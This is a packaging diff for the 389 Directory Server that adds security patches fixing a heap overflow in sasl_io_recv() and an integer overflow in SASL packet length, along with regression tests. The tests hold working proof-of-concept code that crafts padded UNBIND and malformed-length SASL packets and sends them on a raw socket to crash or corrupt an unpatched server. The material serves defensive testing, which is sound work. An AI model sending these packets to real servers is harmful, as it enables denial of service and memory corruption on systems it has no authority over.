diff --git a/SOURCES/0104-Security-Advisory-Heap-Buffer-Overflow-in-sasl_io_re.patch b/SOURCES/0104-Security-Advisory-Heap-Buffer-Overflow-in-sasl_io_re.patch new file mode 100644 index 0000000..280689f --- /dev/null +++ b/SOURCES/0104-Security-Advisory-Heap-Buffer-Overflow-in-sasl_io_re.patch @@ -0,0 +1,296 @@ +From 874b66b2c6c548322d724c7f0600aabcc6f1b314 Mon Sep 17 00:00:00 2001 +From: Mark Reynolds +Date: Thu, 4 Jun 2026 12:32:56 -0400 +Subject: [PATCH 1/3] Security Advisory: Heap Buffer Overflow in sasl_io_recv() + via Padded SASL UNBIND + +**Advisory ID**: 389-ds-base-2026-04-20-008 +**Date**: 2026-04-20 +**Severity**: High (CVSS 8.8) +**CVSS 3.1**: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H +**CWE**: CWE-122 (Heap-based Buffer Overflow) +**CVE**: None assigned + +Reviewed by: jchapman(Thanks!) +--- + .../suites/sasl/io_overflow_asan_test.py | 248 ++++++++++++++++++ + ldap/servers/slapd/sasl_io.c | 8 +- + 2 files changed, 254 insertions(+), 2 deletions(-) + create mode 100644 dirsrvtests/tests/suites/sasl/io_overflow_asan_test.py + +diff --git a/dirsrvtests/tests/suites/sasl/io_overflow_asan_test.py b/dirsrvtests/tests/suites/sasl/io_overflow_asan_test.py +new file mode 100644 +index 000000000..aff93eb8b +--- /dev/null ++++ b/dirsrvtests/tests/suites/sasl/io_overflow_asan_test.py +@@ -0,0 +1,248 @@ ++# --- BEGIN COPYRIGHT BLOCK --- ++# Copyright (C) 2026 Red Hat, Inc. ++# All rights reserved. ++# ++# License: GPL (version 3 or any later version). ++# See LICENSE for details. ++# --- END COPYRIGHT BLOCK --- ++# ++import ldap ++import logging ++import pytest ++import os ++import socket ++import struct ++import sys ++import time ++from ldap import sasl as ldap_sasl ++from lib389._constants import DEFAULT_SUFFIX, PASSWORD ++from lib389.idm.user import UserAccounts ++from lib389.utils import check_asan_report ++from test389.topologies import topology_st as topo ++ ++log = logging.getLogger(__name__) ++ ++PADDED_UNBIND_SIZE = 9000 ++ ++ ++def build_padded_unbind(): ++ """Build an oversized LDAP UNBIND packet. ++ ++ Normal UNBIND is 7 bytes: ++ 30 05 SEQUENCE, length 5 ++ 02 01 01 INTEGER (msgid) = 1 ++ 42 00 UNBIND request (app 2, primitive, length 0) ++ ++ Padded UNBIND uses 4-byte BER definite length encoding to include ++ attacker-controlled padding after the UNBIND element. The outer SEQUENCE ++ length encompasses the msgid + unbind + padding. The server reads the ++ full packet into encrypted_buffer (based on the outer BER length), then ++ copies ALL of it into the caller's buf via memcpy without bounds check. ++ ++ 30 84 XX XX XX XX SEQUENCE, 4-byte length = 5 + pad_size ++ 02 01 01 INTEGER (msgid) = 1 ++ 42 00 UNBIND request ++ [pad_size bytes of padding] ++ """ ++ inner = b'\x02\x01\x01' # msgid = 1 ++ inner += b'\x42\x00' # UNBIND (application tag 2, primitive, length 0) ++ inner += b'A' * PADDED_UNBIND_SIZE # attacker-controlled padding ++ ++ # SEQUENCE (0x30) with 4-byte definite length encoding (0x84) ++ length = len(inner) ++ packet = b'\x30\x84' + struct.pack('>I', length) + inner ++ return packet ++ ++ ++def build_normal_unbind(): ++ """Build a standard 7-byte LDAP UNBIND for comparison.""" ++ return bytes([ ++ 0x30, 0x05, # SEQUENCE, length 5 ++ 0x02, 0x01, 0x01, # INTEGER msgid=1 ++ 0x42, 0x00 # UNBIND ++ ]) ++ ++ ++def do_sasl_bind_and_get_fd(host, port, user): ++ """Perform SASL DIGEST-MD5 bind and return the raw socket FD. ++ ++ Uses python-ldap for the SASL handshake, then extracts the underlying ++ socket file descriptor. After the SASL bind with SSF > 0, the server ++ has pushed the SASL I/O layer onto the connection. ++ """ ++ ++ uri = f"ldap://{host}:{port}" ++ log.info(f"[*] Connecting to {uri}") ++ ++ conn = ldap.initialize(uri) ++ conn.protocol_version = ldap.VERSION3 ++ ++ # Set SASL options for DIGEST-MD5 with integrity/confidentiality protection ++ # This ensures SSF > 0, which triggers sasl_io_enable on the server ++ conn.set_option(ldap.OPT_X_SASL_SSF_MIN, 1) ++ conn.set_option(ldap.OPT_X_SASL_SSF_MAX, 256) ++ ++ log.info(f"[*] SASL DIGEST-MD5 bind as user: {user}") ++ ++ # DIGEST-MD5 SASL bind ++ auth = ldap_sasl.digest_md5(user, PASSWORD) ++ try: ++ conn.sasl_interactive_bind_s("", auth) ++ except ldap.LDAPError as e: ++ log.info(f"[-] SASL bind failed: {e}") ++ sys.exit(1) ++ ++ # Verify SSF > 0 (SASL I/O layer is active) ++ ssf = conn.get_option(ldap.OPT_X_SASL_SSF) ++ log.info(f"[+] SASL bind successful, SSF = {ssf}") ++ if ssf == 0: ++ log.info("[-] SSF is 0 -- SASL I/O layer was NOT pushed. Exploit requires SSF > 0.") ++ sys.exit(1) ++ ++ # Get the raw socket file descriptor ++ fd = conn.fileno() ++ log.info(f"[+] Raw socket FD: {fd}") ++ ++ return conn, fd ++ ++ ++def send_padded_unbind(fd): ++ """Send a padded UNBIND directly on the raw socket FD. ++ ++ This bypasses the SASL framing layer on the CLIENT side. The server's ++ sasl_io_recv will see this as an unencrypted LDAP message (first byte ++ is 0x30 = LDAP_TAG_MESSAGE, not SASL framing). ++ ++ The server code path: ++ 1. sasl_io_recv -> sasl_io_start_packet ++ 2. !sp->send_encrypted (PR_FALSE on first read) && *encrypted_buffer == 0x30 ++ 3. Enters unencrypted LDAP path ++ 4. Reads full packet into encrypted_buffer (ber_len bytes) ++ 5. Checks tag == LDAP_REQ_UNBIND (0x42) -- passes ++ 6. Sets encrypted_buffer_count = encrypted_buffer_offset = ber_len + 2 ++ 7. Returns SASL_IO_BUFFER_NOT_ENCRYPTED ++ 8. sasl_io_recv: memcpy(buf, encrypted_buffer, encrypted_buffer_count) ++ where buf is sized to len (caller's buffer), NOT encrypted_buffer_count ++ 9. OVERFLOW: encrypted_buffer_count (pad_size + 7) >> len (caller's buf size) ++ """ ++ packet = build_padded_unbind() ++ total_size = len(packet) ++ ++ log.info(f"[*] Sending padded UNBIND: {total_size} bytes total") ++ log.info(f"[*] Padding size: {PADDED_UNBIND_SIZE} bytes of attacker-controlled data") ++ log.info(f"[*] Packet header: {packet[:10].hex()}") ++ ++ # Send directly on the raw FD, bypassing SASL wrapper ++ sock = socket.fromfd(fd, socket.AF_INET, socket.SOCK_STREAM) ++ # Prevent socket.fromfd from closing the original fd when sock is gc'd ++ try: ++ sent = sock.send(packet) ++ log.info(f"[+] Sent {sent} bytes on raw socket (bypassing SASL layer)") ++ except OSError as e: ++ log.info(f"[-] Send failed: {e}") ++ # Try dup first ++ new_fd = os.dup(fd) ++ sock2 = socket.socket(fileno=new_fd) ++ sent = sock2.send(packet) ++ log.info(f"[+] Sent {sent} bytes via dup'd socket") ++ finally: ++ # Detach without closing underlying fd ++ sock.detach() ++ ++ return total_size ++ ++ ++def test_sasl_io_overflow(topo): ++ """Verify the SASL I/O layer does not heap-overflow on a padded UNBIND ++ ++ After a SASL bind with integrity protection (SSF > 0), the server pushes ++ the SASL I/O shim onto the connection. Send an oversized LDAP UNBIND whose ++ BER length includes attacker-controlled padding, directly on the raw socket ++ so it bypasses client-side SASL framing. The server must handle the ++ unencrypted UNBIND without copying past the caller buffer in sasl_io_recv. ++ ++ Requires an ASAN build so a heap-buffer-overflow is reported instead of ++ silent memory corruption. ++ ++ :id: 8ef3ea18-2c61-494c-b813-7044d0276adb ++ :setup: Standalone Instance with ASAN enabled ++ :steps: ++ 1. Create a test user with a clear-text password ++ 2. Perform a SASL DIGEST-MD5 bind with SSF > 0 ++ 3. Send a padded UNBIND on the raw socket, bypassing SASL framing ++ 4. Read from the connection and verify the server did not crash ++ :expectedresults: ++ 1. Success ++ 2. Success ++ 3. Success ++ 4. Server remains running and the connection can be used or closed cleanly ++ """ ++ ++ inst = topo.standalone ++ if not inst.has_asan(): ++ pytest.skip("ASAN is not enabled on this server") ++ ++ # For digest-md5 we need clear text password ++ inst.config.set('passwordStorageScheme', 'CLEAR') ++ ++ # Add a user ++ users = UserAccounts(topo.standalone, DEFAULT_SUFFIX) ++ user = users.create_test_user(uid=1) ++ user.set('userPassword', PASSWORD) ++ user = 'test_user_1' ++ ++ # Step 1: SASL DIGEST-MD5 bind (pushes SASL I/O layer on server) ++ conn, fd = do_sasl_bind_and_get_fd(inst.host, inst.port, user) ++ ++ # Brief pause to ensure server has processed bind response ++ time.sleep(0.5) ++ ++ # Step 2: Send padded UNBIND on raw socket (triggers overflow) ++ log.info("") ++ log.info("[*] Sending exploit payload...") ++ log.info(f"[*] The server's sasl_io_recv will memcpy {4096 + 7} bytes") ++ log.info(f"[*] into a buffer likely sized ~4096-8192 bytes (BER read buffer)") ++ log.info(f"[*] Overflow: ~{max(0, PADDED_UNBIND_SIZE - 4096)} bytes past buffer end") ++ log.info("") ++ ++ send_padded_unbind(fd) ++ ++ log.info("") ++ log.info("[*] Exploit sent. Check server status:") ++ log.info("[*] - PID change indicates crash (heap corruption -> SIGSEGV/SIGABRT)") ++ log.info("[*] - Error log may show ASAN heap-buffer-overflow if built with sanitizers") ++ log.info("[*] - With default (non-ASAN) build, crash may be delayed until next heap op") ++ log.info("") ++ ++ # Try to read response -- server should either crash or close connection ++ time.sleep(0.5) ++ try: ++ log.info("[*] Receiving response from server...") ++ sock = socket.fromfd(fd, socket.AF_INET, socket.SOCK_STREAM) ++ try: ++ data = sock.recv(4096) ++ if data: ++ log.info(f"[*] Received {len(data)} bytes back (unexpected)") ++ else: ++ log.info("[+] Connection closed by server") ++ finally: ++ sock.detach() ++ except Exception as e: ++ assert False, f"Socket error: {e}" ++ ++ # Clean up ++ log.info("[*] Unbinding from server") ++ conn.unbind_s() ++ ++ # Check ASAN report ++ log.info("[*] Checking ASAN report") ++ assert not check_asan_report(inst, 'heap-buffer-overflow'), "Heap-buffer-overflow found in ASAN report" ++ ++ log.info("[*] Test passed") ++ ++ ++if __name__ == '__main__': ++ # Run isolated ++ # -s for DEBUG mode ++ CURRENT_FILE = os.path.realpath(__file__) ++ pytest.main(["-s", CURRENT_FILE]) +diff --git a/ldap/servers/slapd/sasl_io.c b/ldap/servers/slapd/sasl_io.c +index d10ab8d2e..65199880f 100644 +--- a/ldap/servers/slapd/sasl_io.c ++++ b/ldap/servers/slapd/sasl_io.c +@@ -453,8 +453,12 @@ sasl_io_recv(PRFileDesc *fd, void *buf, PRInt32 len, PRIntn flags, PRIntervalTim + * Special case: we received unencrypted data that was actually + * an unbind. Copy it to the buffer and return its length. + */ +- memcpy(buf, sp->encrypted_buffer, sp->encrypted_buffer_count); +- return sp->encrypted_buffer_count; ++ uint32_t bytes_to_copy = sp->encrypted_buffer_count; ++ if (bytes_to_copy > (uint32_t)len) { ++ bytes_to_copy = (uint32_t)len; ++ } ++ memcpy(buf, sp->encrypted_buffer, bytes_to_copy); ++ return bytes_to_copy; + } + if (0 >= ret) { + /* timeout, connection closed, or error */ +-- +2.54.0 + diff --git a/SOURCES/0105-Issue-7593-Reject-invalid-SASL-packet-length-values-.patch b/SOURCES/0105-Issue-7593-Reject-invalid-SASL-packet-length-values-.patch new file mode 100644 index 0000000..c9ca98d --- /dev/null +++ b/SOURCES/0105-Issue-7593-Reject-invalid-SASL-packet-length-values-.patch @@ -0,0 +1,164 @@ +From a322d277a2e0320096f2a1e05025405a51d22ef8 Mon Sep 17 00:00:00 2001 +From: James Chapman +Date: Tue, 23 Jun 2026 10:07:00 +0100 +Subject: [PATCH 2/3] Issue 7593 - Reject invalid SASL packet length values in + sasl_io_start_packet (#7594) + +Description: +While processing SASL encrypted traffic, sasl_io_start_packet() reads a +4-byte length from the connection and adds sizeof(uint32_t) before resizing +the read buffer. Certain large length values can wrap in uint32_t, causing +incorrect buffer sizing when malformed SASL data is received on an +established connection. + +Fixes: https://github.com/389ds/389-ds-base/issues/7593 + +Reviewed by: @tbordaz, @progier389 (Thank you) +--- + .../suites/sasl/sasl_io_overflow_test.py | 106 ++++++++++++++++++ + ldap/servers/slapd/sasl_io.c | 9 ++ + 2 files changed, 115 insertions(+) + create mode 100644 dirsrvtests/tests/suites/sasl/sasl_io_overflow_test.py + +diff --git a/dirsrvtests/tests/suites/sasl/sasl_io_overflow_test.py b/dirsrvtests/tests/suites/sasl/sasl_io_overflow_test.py +new file mode 100644 +index 000000000..ac1f3760f +--- /dev/null ++++ b/dirsrvtests/tests/suites/sasl/sasl_io_overflow_test.py +@@ -0,0 +1,106 @@ ++# --- BEGIN COPYRIGHT BLOCK --- ++# Copyright (C) 2026 Red Hat, Inc. ++# All rights reserved. ++# ++# License: GPL (version 3 or any later version). ++# See LICENSE for details. ++# --- END COPYRIGHT BLOCK --- ++# ++ ++import socket ++import struct ++import time ++import ldap ++import pytest ++ ++from lib389._constants import DEFAULT_SUFFIX ++from lib389.idm.user import UserAccounts ++from lib389.saslmap import SaslMappings ++from lib389.utils import * ++from lib389.topologies import topology_st ++ ++pytestmark = pytest.mark.tier1 ++ ++log = logging.getLogger(__name__) ++ ++SASL_OVERFLOW_FAKE_LENGTH = 0xFFFFFFFC ++SASL_OVERFLOW_PAYLOAD_SIZE = 65536 ++ ++def test_sasl_io_packet_length_overflow(topology_st): ++ """Malformed SASL length prefix must not crash the server ++ :id: 318f871d-2f17-461b-98ed-04cdff6ab41a ++ :setup: Standalone instance ++ :steps: ++ 1. Set passwordStorageScheme to CLEAR and restart the instance ++ 2. Add SASL uid mapping and user sasltest for DIGEST-MD5 bind ++ 3. SASL DIGEST-MD5 bind as sasltest ++ 4. Send malformed SASL packeton the encrypted connection ++ 5. Verify server is still running ++ :expectedresults: ++ 1. CLEAR scheme and SASL map/user are configured successfully ++ 2. Test user added ++ 3. DIGEST-MD5 bind succeeds ++ 4. Malformed packet is accepted on the wire without crashing the server ++ 5. Server remains up ++ """ ++ inst = topology_st.standalone ++ inst.config.replace('passwordStorageScheme', 'CLEAR') ++ saslmappings = SaslMappings(inst) ++ ++ # Create SASL mapping ++ try: ++ saslmappings.create(properties={ ++ 'cn': 'uid map', ++ 'nsSaslMapRegexString': r'\(.*\)', ++ 'nsSaslMapBaseDNTemplate': DEFAULT_SUFFIX, ++ 'nsSaslMapFilterTemplate': '(uid=\\1)', ++ 'nsSaslMapPriority': '10', ++ }) ++ except ldap.ALREADY_EXISTS: ++ pass ++ ++ # Create test user ++ users = UserAccounts(inst, DEFAULT_SUFFIX) ++ try: ++ users.create(properties={ ++ 'uid': 'sasltest', ++ 'cn': 'SASL Test User', ++ 'sn': 'Test', ++ 'uidNumber': '10001', ++ 'gidNumber': '10001', ++ 'homeDirectory': '/home/sasltest', ++ 'userPassword': 'sasltest123', ++ }) ++ except ldap.ALREADY_EXISTS: ++ pass ++ inst.restart() ++ ++ try: ++ # Open connection to server and send bad payload ++ conn = ldap.initialize(inst.get_ldap_uri()) ++ conn.protocol_version = ldap.VERSION3 ++ conn.set_option(ldap.OPT_X_SASL_SSF_MIN, 1) ++ conn.set_option(ldap.OPT_X_SASL_SSF_MAX, 256) ++ conn.sasl_interactive_bind_s( ++ '', ++ ldap.sasl.digest_md5('sasltest', 'sasltest123'), ++ ) ++ fd = conn.fileno() ++ sock = socket.fromfd(fd, socket.AF_INET, socket.SOCK_STREAM) ++ payload = ( ++ struct.pack('!I', SASL_OVERFLOW_FAKE_LENGTH) ++ + b'A' * 3 ++ + b'B' * SASL_OVERFLOW_PAYLOAD_SIZE ++ ) ++ sock.send(payload) ++ sock.detach() ++ time.sleep(3) ++ ++ # Check if the server is still up ++ try: ++ inst.rootdse.get_attr_val_utf8('vendorVersion') ++ except ldap.SERVER_DOWN: ++ pytest.fail("Server is not responding after malformed SASL packet") ++ finally: ++ if not inst.status(): ++ inst.start() +diff --git a/ldap/servers/slapd/sasl_io.c b/ldap/servers/slapd/sasl_io.c +index 65199880f..614db692e 100644 +--- a/ldap/servers/slapd/sasl_io.c ++++ b/ldap/servers/slapd/sasl_io.c +@@ -16,6 +16,7 @@ + #include "fe.h" + #include + #include ++#include + + /* + * I/O Shim Layer for SASL Encryption +@@ -371,6 +372,14 @@ sasl_io_start_packet(PRFileDesc *fd, PRIntn flags, PRIntervalTime timeout, PRInt + /* Decode the length */ + packet_length = ntohl(*(uint32_t *)sp->encrypted_buffer); + /* add length itself (for Cyrus SASL library) */ ++ if (packet_length > (UINT32_MAX - sizeof(uint32_t))) { ++ slapi_log_err(SLAPI_LOG_ERR, "sasl_io_start_packet", ++ "SASL packet length would overflow (%" PRIu32 ")\n", ++ packet_length); ++ PR_SetError(PR_BUFFER_OVERFLOW_ERROR, 0); ++ *err = PR_BUFFER_OVERFLOW_ERROR; ++ return -1; ++ } + packet_length += sizeof(uint32_t); + + slapi_log_err(SLAPI_LOG_CONNS, "sasl_io_start_packet", +-- +2.54.0 + diff --git a/SOURCES/0106-Replace-test389-import-with-lib389-import-in-io_over.patch b/SOURCES/0106-Replace-test389-import-with-lib389-import-in-io_over.patch new file mode 100644 index 0000000..7d6cfed --- /dev/null +++ b/SOURCES/0106-Replace-test389-import-with-lib389-import-in-io_over.patch @@ -0,0 +1,27 @@ +From aee19d28b57273a15afc93d5cacb76dac1d853f0 Mon Sep 17 00:00:00 2001 +From: Anuar Beisembayev +Date: Thu, 25 Jun 2026 09:06:59 -0400 +Subject: [PATCH 3/3] Replace test389 import with lib389 import in + io_overflow_asan_test.py. + +Signed-off-by: Anuar Beisembayev +--- + dirsrvtests/tests/suites/sasl/io_overflow_asan_test.py | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/dirsrvtests/tests/suites/sasl/io_overflow_asan_test.py b/dirsrvtests/tests/suites/sasl/io_overflow_asan_test.py +index aff93eb8b..26a57ffba 100644 +--- a/dirsrvtests/tests/suites/sasl/io_overflow_asan_test.py ++++ b/dirsrvtests/tests/suites/sasl/io_overflow_asan_test.py +@@ -18,7 +18,7 @@ from ldap import sasl as ldap_sasl + from lib389._constants import DEFAULT_SUFFIX, PASSWORD + from lib389.idm.user import UserAccounts + from lib389.utils import check_asan_report +-from test389.topologies import topology_st as topo ++from lib389.topologies import topology_st as topo + + log = logging.getLogger(__name__) + +-- +2.54.0 + diff --git a/SPECS/389-ds-base.spec b/SPECS/389-ds-base.spec index 91c372c..19cc538 100644 --- a/SPECS/389-ds-base.spec +++ b/SPECS/389-ds-base.spec @@ -52,7 +52,7 @@ ExcludeArch: i686 Summary: 389 Directory Server (base) Name: 389-ds-base Version: 1.4.3.39 -Release: %{?relprefix}24%{?prerel}%{?dist} +Release: %{?relprefix}25%{?prerel}%{?dist} License: GPL-3.0-or-later WITH GPL-3.0-389-ds-base-exception AND (0BSD OR Apache-2.0 OR MIT) AND (Apache-2.0 OR Apache-2.0 WITH LLVM-exception OR MIT) AND (Apache-2.0 OR BSD-2-Clause OR MIT) AND (Apache-2.0 OR BSL-1.0) AND (Apache-2.0 OR LGPL-2.1-or-later OR MIT) AND (Apache-2.0 OR MIT OR Zlib) AND (Apache-2.0 OR MIT) AND (MIT OR Apache-2.0) AND Unicode-3.0 AND (MIT OR Unlicense) AND Apache-2.0 AND BSD-3-Clause AND MIT AND MPL-2.0 URL: https://www.port389.org Group: System Environment/Daemons @@ -401,6 +401,9 @@ Patch100: 0100-Issue-5947-Do-not-release-the-target-entry-in-ldbm_b.patc Patch101: 0101-Issue-7271-fixed-build-error-in-repl5_init.patch Patch102: 0102-Issue-6929-Compilation-failure-with-rust-1.89.patch Patch103: 0103-Issue-7503-CVE-2026-9064-Add-a-limit-to-the-number-c.patch +Patch104: 0104-Security-Advisory-Heap-Buffer-Overflow-in-sasl_io_re.patch +Patch105: 0105-Issue-7593-Reject-invalid-SASL-packet-length-values-.patch +Patch106: 0106-Replace-test389-import-with-lib389-import-in-io_over.patch #Patch100: cargo.patch @@ -1060,6 +1063,11 @@ exit 0 %doc README.md %changelog +* Thu Jun 25 2026 Anuar Beisembayev - 1.4.3.39-25 +- Bump version to 1.4.3.39-25 +- Resolves: RHEL-182162 - EMBARGOED CVE-2026-11610 389-ds-base: 389-ds-base: Heap buffer overflow in sasl_io_recv() via padded SASL UNBIND [rhel-8.10.z] +- Resolves: RHEL-183102 - CVE-2026-11774 389-ds-base: 389-ds-base: integer overflow in SASL packet length bypasses size limit + * Wed May 13 2026 Arun Bansal - 1.4.3.39-24 - Bump version to 1.4.3.39-24 - Resolves: RHEL-170278 - Memory leaks in syncrepl plugin during persistent search operations [rhel-8.10.z]